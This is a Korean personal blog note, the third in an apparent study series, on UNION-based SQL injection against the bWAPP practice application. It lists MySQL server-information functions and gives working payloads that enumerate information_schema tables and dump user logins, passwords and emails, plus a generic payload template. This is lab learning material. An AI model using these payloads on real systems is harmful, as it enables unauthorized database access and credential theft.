개인노트

[SQL Injection] ③ 본문

HACK/SQL Injection

[SQL Injection] ③

BillnairK 2017. 5. 8. 20:48

 함수

 설명

@@version 

 DB 서버의 운영체제 정보

@@datadir 

 서버 내의 DB 디렉토리 

database() 

 DB 이름 

user() 

 현재 사용자 아이디 

system_user() 

 최고 권한 아이디 





→ ms' union select all 1,user(),@@version,database(),@@datadir,6,7#





→ ms' union select all 1,table_name,3,4,5,6,7 from information_schema.tables#

→ information_schema의 테이블 목록 검색





→ bWAPP라는 DB의 테이블 목록이다. 이곳에서 users라는 테이블의 정보를 빼내보자.





→ users 테이블의 필드 정보





→ ms' union select all 1,login,password,email,admin,6,7 from bWAPP.users#

→ [검색어]' union select all [컬럼] from [DB_NAME].[TABLE_NAME]주석

→ 검색어 부분에 ms라고 입력한 이유는 검색 내용을 최소화 하기 위해 아무 값도 나오지 않는 단어를 입력한 것

→ 컬럼 부분에 테이블의 필드 정보를 입력한다.





→ ms' union select all 1,concat(login,password),3,4,5,6,7 from bWAPP.users#

→ concat이라는 명령어로 한 컬럼에 여러 정보를 볼 수 있다.

'HACK > SQL Injection' 카테고리의 다른 글

[SQL Injection] ④  (0) 2017.05.08
[SQL Injection] ②  (0) 2017.05.08
[SQL Injection] ①  (0) 2017.05.04
Comments